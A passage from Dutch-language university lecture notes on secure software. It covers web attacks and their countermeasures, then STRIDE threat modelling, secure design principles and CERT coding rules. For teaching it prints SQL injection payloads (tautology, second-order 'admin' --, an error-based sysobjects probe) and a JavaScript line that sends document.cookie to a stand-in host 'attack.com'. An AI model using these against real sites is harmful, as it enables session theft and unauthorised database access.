aanvallen van de publieke sleutelinfrastructuur, het SSL protocol of doen aan SSL stripping. Dit laatste betekent alle https voorkomens vervangen door http in de broncode van de gedownloade webpagina. Injectie van kwaadaardige scripts Een aanvaller kan op verschillende manieren een script injecteren: • Door Cross-site scripting (XSS) door het uitbuiten van kwetsbaarheden vergelijkbaar met SQL injectie. • Distributie van kwaadaardige advertenties. • Hacken van een website die een veelgebruikt script host. • Uitbuiten van extensies van een derde-partij. E´enmaal onderdeel van de pagina kan het script de integriteits- en betrouwbaarheidsgarantie van de site doorbreken (en van de bijhorende sessie).
4.3 4.3.1
Kwetsbaarheden en maatregelen Session handling
Het tracken van sessies gebeurt doorgaans met cookies. Het authenticatieniveau is doorgaans verbonden met de sessie waardoor, wanneer de hacker de sessie kan overnemen, hij zich kan gedragen als de gebruiker met diens privileges.
4.3. KWETSBAARHEDEN EN MAATREGELEN
37
Session Hijacking Session hijacking is een aanval waarbij de aanvaller toegang probeert te krijgen tot de waarde van de sessie-cookie. Dit kan door het netwerk te sniffen, door de cookie te stelen aan de hand van een script of door simpelweg te gokken. Tegenmaatregelen hiervoor bestaan uit het gebruiken van SSL/TLS of een random number generator. De cookie beschikt ook over een HTTPS-only-flag wat ervoor zorgt dat de cookie steeds wordt versleuteld tijdens transport. Session Fixation Bij deze aanval forceert de aanvaller de gebruiker om de sessie-ID van de aanvaller te gebruiken. Een eenvoudige tegenmaatregel bestaat uit het vervangen van de session-cookie wanneer het niveau van authenticatie verandert. Cross-site Request Forgery (CSRF) Deze aanval bestaat uit een aanvaller die de browser misleidt tot het injecteren van een request in een geautoriseerde sessie. Dit kan a.d.h.v. scripting of het insluiten van een niet-lokale resources. Tegenmaatregelen bestaan uit het gebruiken van een geheim token en het strikt nakijken van de origin header. Tenslotte bestaan er ook client-side oplossing zoals CsFire 1 .
Figuur 4.1: Cross-Site Request Forgery 1
https://distrinet.cs.kuleuven.be/software/CsFire/
38
HOOFDSTUK 4. WEBAPPLICATIES
4.3.2
Clickjacking
De cli¨ent wordt misleid tot het klikken op een knop of link die een request start binnen de geautoriseerde sessie. Dit kan door het plaatsen van een onzichtbare frame over een andere pagina. Tegenmaatregelen zijn Framebusting Javasript code of gebruik van de X-Frame-Options header. Deze laatste voorziet dat een pagina niet in een frame kan weergegeven worden.
4.3.3
SQL injectie
De meeste webpagina’s geven HTML weer na interactie met een gegevensbank. Deze interactie bestaat doorgaans uit SQL queries die (deels) worden gevormd aan de hand van gebruikersinvoer. Een SQL injectie is een aanval waarbij de gebruiker erin slaagt zo’n invoer te voorzien dat het effect van SQL query verandert. Elke invoer gebruikt door de webapplicatie die kan gemanipuleerd worden door de aanvaller is een mogelijke plaats voor injectie. • HTML form fields • Cookies • HTTP request headers • Second-Order injecties: twee-fasen aanval 1. Voorzie invoer in de database. 2. Gebruik deze gegevens uit de database om nieuwe queries te vormen. Voorbeeld second-order injectie 1. Registreer als een gebruiker met de naam admin’ --. • Op dit moment is er nog geen sprake van injectie. De naam is correct opgeslagen in de database. • Veronderstel nu dat het aanpassen van wachtwoorden gebeurt zoals in listing 4.2. 2. Als we nu ons wachtwoord aanpassen krijgen we een nieuwe query zoals in listing 4.3. 1
q u e r y S t r i n g = ”UPDATE u s e r s SET password = ‘” + newPassword + ” ‘ WHERE userName = ‘” + userName + ” ‘ AND password = ‘” +o l d P a s s w o r d+ ” ‘ ”
Listing 4.2: Updaten wachtwoord 1
q u e r y S t r i n g = ”UPDATE u s e r s SET password =‘newpwd ‘ WHERE userName=‘admin ‘−−‘ AND password =‘ oldPassword ‘ ”
Listing 4.3: SQL Injection Doelstelling De aanvaller kan verschillende doelen hebben:
4.3. KWETSBAARHEDEN EN MAATREGELEN
39
• Identificeren van injecteerbare parameters
• Een DoS-aanval uitvoeren
• Verkrijgen metadata van de database
• Authenticatie omzeilen
• Ophalen, aanpassen of updaten van data
• Verhogen van privileges
Injectievormen Tautologie Door het invoeren van ‘ or 1=1-- krijgen we onderstaande query met als resultaat dat de authenticatie slaagt. 1 2
SELECT a c c o u n t s FROM u s e r s WHERE l o g i n = ‘ ‘ o r 1=1 −−‘ AND p a s s = ‘ ‘ and p i n=
Listing 4.4: Tautologie
Illegal / logically incorrect queries Door een foutieve query te vormen krijgen we een error bij diens uitvoer. Deze error geeft meestal informatie terug over wat voor systeem wordt gebruikt die dan voor volgende exploits weer gebruikt kan worden. Neem als invoer 1
c o n v e r t ( i n t , ( s e l e c t top 1 name from s y s o b j e c t s where xtype =‘u ‘ ) )
Listing 4.5: Illegal input Daarnaast zijn er nog verschillende ander manieren: • Piggy-backed queries
• Timing attacks
• Blind injection
• Obfuscating encoding
Tegenmaatregelen Tegenmaatregelen kunnen worden genomen in de drie fasen van de ontwikkelingscyclus: 1. At coding time Voorkom de introductie van kwetsbaarheden. 2. At testing time Onderschep de aanwezigheid van kwetsbaarheden. 3. At run time Onderschep aanvallen die overblijvende kwetsbaarheden exploiteren. Preventie Preventie bestaat uit defensief programmeren. Het is veel interessanter en goedkoper om dit vooraf te doen dan bij bestaande code. • Zuiveren van in- en uitvoer. • Whitelisten van toegestane invoer. • Identificeren van alle invoerbronnen. • Gebruikmaken van gebruiksklare statements. • Gebruikmaken van nieuwe query ontwikkelingstechnieken.
40
HOOFDSTUK 4. WEBAPPLICATIES
Onderscheppen Statische, dynamische of hybride controle van code tijdens de ontwikkelingsen testfase. Deze technieken zijn gebaseerd op een verzameling regels die gevaarlijke patronen onderscheppen. Voorbeelden van dergelijke programma’s zijn Fortify Source Code Analyzer, FindBugs, Coverity Static Analysis. Deze software kan echter slachtoffer worden van zowel false-positives en falsenegatives.
4.3.4
Scripts
Hoewel de SOP voorkomt dat script rechtstreeks verbinding maken met een server van de aanvaller kunnen script toch entiteiten aan de webpagina toevoegen die leiden tot een HTTP request naar een script-specifieke server. Als voorbeeld zien we hieronder hoe een script een cookie kan lekken naar een andere server. 1
new Image ( ) . s r c = ” h t t p : / / a t t a c k . com/?=” + document . c o o k i e ;
Listing 4.6: Javascript code om cookie te lekken Het is zelfs mogelijk voor het script om in twee richtingen te communiceren met JSONP. Zoals gezegd kan voorgaande techniek gebruikt worden om de session cookie te lekken. Eens hiervan in het bezit kan de aanvaller de hele sessie overnemen. Een andere aanval bestaat uit een script dat willekeurige requests stuurt naar de server van waar het script komt en op die manier bijkomende requests stuurt in de gebruikerssessie. Tegenmaatregelen Er zijn twee algemene tegenmaatregelen voor dit probleem: • Ontwerp van de JavaScript API en de browser • De Same-Origin-Policy die wordt afgedwongen door de brwoser Deze twee zullen de meeste aanvallen kunnen stoppen. Toch zijn bijkomende tegenmaatregelen belangrijk. • Defensief programmeren aan de serverzijde om zich te beschermen tegen XSS kwetsbaarheden. • De Content Security Policy is een nieuwe W3C standaard die toelaat aan de eigenaar van de pagina om te declareren waar de cli¨ent verwacht wordt inhoud op te halen. • Sandboxing van JavaScript code beperkt de mogelijkheden van een script aan de hand van een beleid dat door de programmeur is gespecificeerd. • Information flow security beperkt de stroom van informatie door scripts van gevoelige bronnen naar publieke servers.
4.4. CONCLUSIES
4.3.5
41
Andere
Hier zijn nog enkele niet te verwaarlozen kwetsbaarheden en bijhorende voorbeelden: • Zwakke toegangscontrole: forceful browsing, slechte of geen beveiligingsbeleid • Zwakke cryptografische bescherming: SSL stripping, Public Key Infrastructure (PKI) fouten. • Fouten bij de browserimplementatie: Drive-by-downloads, heap spraying
4.4
Conclusies
We kunnen concluderen dat het web een zeer invloedrijk applicatieplatform vormt. De technologie en complexiteit ervan maakt het kwetsbaar op verschillende vlakken. Kwetsbaarheden en aanvallen die we overigens ook op het mobiel platform mogen verwachten. Veel aanvalstechnieken zijn goed begrepen maar er komen er steeds nieuwe aan het oppervlak. Zoals altijd is het een race tussen aanvaller en verdediger.
42
HOOFDSTUK 4. WEBAPPLICATIES
Hoofdstuk 5
Conclusie 5.1
Beveiliging in de softwarecyclus
Kwetsbaarheden kunnen binnensluipen in elk van de softwareontwikkelingsstadia. Het is dan ook belangrijk de soorten aanvallen te kunnen onderscheiden en te weten welke tegenmaatregelen te treffen in elke situatie en fase van de ontwikkeling. Deze cursus heeft zich voornamelijk toegelegd op het implementatieniveau en af en toe het designniveau. Het inpassen van tegenmaatregelen betekent echter niet dat er een complete verandering nodig is in het ontwikkelingsproces. Aan de hand van touchepoints en software process enrichtments kunnen deze twee worden gecombineerd. Enkele voorbeelden zijn Cigital’s touchepoints 1 en Microsoft’s SDL2 .
5.2
Bedreigingsmodellering
Het modelleren van bedreigingen is een activiteit die plaatsvindt in de beginfase van de softwareontwikkelingslevenscyclus. Het centrale doel is een goed zicht krijgen op de mogelijke kwetsbaarheden van het systeem dat wordt ontwikkeld. Het modelleren kan gebeuren op verschillende niveaus van abstractie: • Systeemniveau Bv. bedreigingsmodellering van het internet e-mails systeem. • Applicatie- of componentniveau Bv. bedreigingsmodellering van de e-mail client software. Kwetsbaarheden kunnen worden onderverdeeld in categorie¨en volgens het STRIDE threat model: • Spoofing • Information Tampering • Repudiation 1 2
http://www.cigital.com/presentations/ARA10.pdf http://www.microsoft.com/security/sdl/default.aspx
43
44
HOOFDSTUK 5. CONCLUSIE • Information disclosure • Denial of service • Elevation of privilege
Wanneer bedreigingen aan het licht worden gebracht is het belangrijk dat we een goed begrip hebben van de assets en van de bedreigingsagent, meer bepaald wat dienst motivatie en sterkte is. Microsoft heeft als onderdeel van het Secure Development Life Cycle een bedreigingsmodelleringsactiviteit gedefinieerd. Aan de hand van documentatie en met gebruik van tools kunnen bedreigingen in kaart worden gebracht. Aan de hand van een voorbeeld uit dit boek zullen we het proces illustreren.
5.2.1
Define Use Scenarios
Allereerst moet gedefinieerd worden hoe het systeem gebruikt zal worden en hoe niet. Dit zorgt ervoor dat de discussie rond bedreigingsmodellering duidelijk omgrensd wordt. We vragen ons af welke scenario’s binnen de strekking van het programma liggen. Bijvoorbeeld: houden we rekening met bedreigingen van interne agenten?
5.2.2
List External Dependencies
Elke applicatie steunt op infrastructurele software om correct te functioneren. Het is belangrijk om deze goed te documenteren. Nemen we als voorbeeld een winkel voor huisdieren. Deze steunt op: • Web-based client
• Microsoft ISS
• Browser
• SQl Server
• Windows Server
• .NET Framework
5.2.3
Define Security Assumptions
Welke beveiligingsgaranties verwachten we van onze externe afhankelijkheden? Voor de huisdierenwinkel: • ISS en ASP.NET voorzien authenticatie • Fysieke toegang tot de server is beperkt tot beheerders • Configuratiebestanden worden beschermt door het besturingssysteem
5.2.4
Create External Security Notes
Documenteer beveiligingsrelevante informatie voor de gebruikers van de applicatie.
5.2. BEDREIGINGSMODELLERING
45
Figuur 5.1: External Security Notes
5.2.5
Model the Application
Modelleer het systeem aan de hand van dataflow diagrammen. Typisch worden volgende zaken gemodelleerd:
• Externe entiteiten
• Datastroom
• Processen • Dataopslag
• Beperkingen privileges
Figuur 5.2: Voorbeeldmodel
46
HOOFDSTUK 5. CONCLUSIE
Figuur 5.3: Voorbeeldmodel
Figuur 5.4: Voorbeeldmodel
5.2. BEDREIGINGSMODELLERING
5.2.6
47
Determine Threat Types
Microsofts proces maakt gebruikt van de STRIDE bedreigingstypen. (zie eerder)
5.2.7
Identify Threats
Alle DFD elementen worden beschouwd als assets. Zie afbeelding 5.5.
Figuur 5.5: DFD en STRIDE
5.2.8
Determine Risk
Subjectieve numerieke methodes om het belang te schatten (bv. DREAD) worden niet meer gebruikt. De huidige guideline zegt gebruik te maken van objectieve karakteristieken zoals: • Server applicatie versus client applicatie • Lokaal versus toegankelijk op afstand • Toegankelijk voor anonieme gebruikers
Figuur 5.6: Spoofing
48
HOOFDSTUK 5. CONCLUSIE
Figuur 5.7: Tampering
Figuur 5.8: Information Disclosure
5.2. BEDREIGINGSMODELLERING
Figuur 5.9: Denial of Service
Figuur 5.10: Elevation of Privileges
5.2.9
Plan Mitigations
Strategie¨en:
49
50
HOOFDSTUK 5. CONCLUSIE • Niets doen • De feature verwijderen • De feature uitschakelen • De gebruiker waarschuwen (Dancing pigs syndrome: “Given a choice between dancing pigs and security, users will pick dancing pigs every time.”) • Weerstand bieden met technologie
We kunnen concluderen dat bedreigingsmodellering plaatsvindt in de vroege fasen van de software levenscyclus. Dit is de fase waarin bedreigingprofiel duidelijk wordt en er tegenmaatregelen kunnen worden getroffen op een ge¨ınformeerde manier. Microsoft plaatst Bedreigingsmodellering op plaats 2 in de de lijst van belangrijkste veiligheidsgerelateerde activiteiten. Op de eerste plaats staat statische analyse van implementatiekwetsbaarheden.
5.3
Principes, patronen en richtlijnen
Kennis en ervaring verkregen in het ontwikkelen van veilige software heeft geleid tot een verzameling zogenaamde best practices. • Principes zijn generische richtlijnen, toepasbaar doorheen heel de ontwikkelingscyclus. • Patronen zijn herbruikbare oplossing voor veiligheidsproblemen op architecturaal niveau. • Richtlijnen bieden een specifiek richtsnoer over hoe wel en niet te programmeren in zekere programmeertalen.
5.3.1
Principes
• Simplicity Economy of mechanism: Eenvoudige tegenmaatregelen zijn eenvoudiger juist te krijgen en eenvoudiger te begrijpen. • Open Design Inzetten op beveiliging zelfs al weet de aanvaller wat de tegenmaatregelen zijn. Dus geen security by obscurity. • Least Privilege Elk onderdeel van het systeem mag niet meer rechten hebben dan nodig is voor diens functie uit te voeren.
5.3.2
Patronen
Architectuurpatronen • Compartimentering Ontwerp het systeem zo dat inbreuken worden afgeschermd.
5.3. PRINCIPES, PATRONEN EN RICHTLIJNEN
51
• Minimaliseer het aanvalsoppervlak Reduceer de hoeveelheid interfaces en informatie toegankelijk voor aanvallers. Maak hiervoor eventueel gebruik van een secure service facade. • Complete Mediation Ontwerp het systeem zo dat elke toegang gebeurt langs een vorm van validatie. Gebruik hiervoor authenticatie of afdwingen toegangscontrole. Ontwerppatronen • Security Association Definieer een container datastructuur die de data groepeert die gebruikt wordt door ´e´en deelnemer in beveiligde communicatie. • Security context Definieer een container datastructuur die groepsgerelateerde attributen van de principal of het proces groepeert. • Role-based access Ontkoppel identiteiten van gebruikers van hun privileges. • Limited view Maak de gebruikersinterface op zo’n manier dat gebruikers enkel zien wat ze mogen zien.
5.3.3
Richtlijnen
Er zijn zoveel richtlijnen, waarvan vele vaag, wat betekent dat de programmeur ze niet allemaal in het achterhoofd kan houden. Een vari¨eteit aan statische analysetools kunnen (een deel) van deze richtlijnen controleren. Voorbeelden hiervan zijn Coverity, Fortify, FxCop, FindBugs. Voor C • MEM00-C. Allocate and free memory in the same module, at the same level of abstraction • MEM01-C. Store a new value in pointers immediately after free() • MEM02-C. Immediately cast the result of a memory allocation function call to a pointer to the allocated type • MEM06-C. Ensure that sensitive data is not written out to disk • MEM09-C. Do not assume memory allocation functions initialize memory • MEM10-C. Define and use a pointer validation function • MEM11-C. Do not assume infinite heap space
52
HOOFDSTUK 5. CONCLUSIE
Voor Java • OBJ00-J. Limit extensibility of classes and methods with invariants • OBJ01-J. Declare data members as private and provide accessible wrapper methods • OBJ03-J. Do not mix generic with nongeneric raw types in new code • OBJ04-J. Provide mutable classes with copy functionality to safely allow passing instances to untrusted code • OBJ05-J. Defensively copy private mutable class members before returning their references • OBJ07-J. Sensitive classes must not let themselves be copied • OBJ11-J. Be wary of letting constructors throw exceptions
5.4
Conclusie
Ontwikkeling van veilige software is een relatief nieuwe ingenieursdiscipline. De gemeenschap is nog volop aan het leren hoe ze best practices kunnen omzetten in herhaalbare en verifieerbare processen. Desondanks is er voldoende empirisch bewijs om de waarde van het modelleren van bedreigingen en statische analyse aan te tonen.
Bibliografie [1] Frank Piessens. Ovs homepage, 2013.
53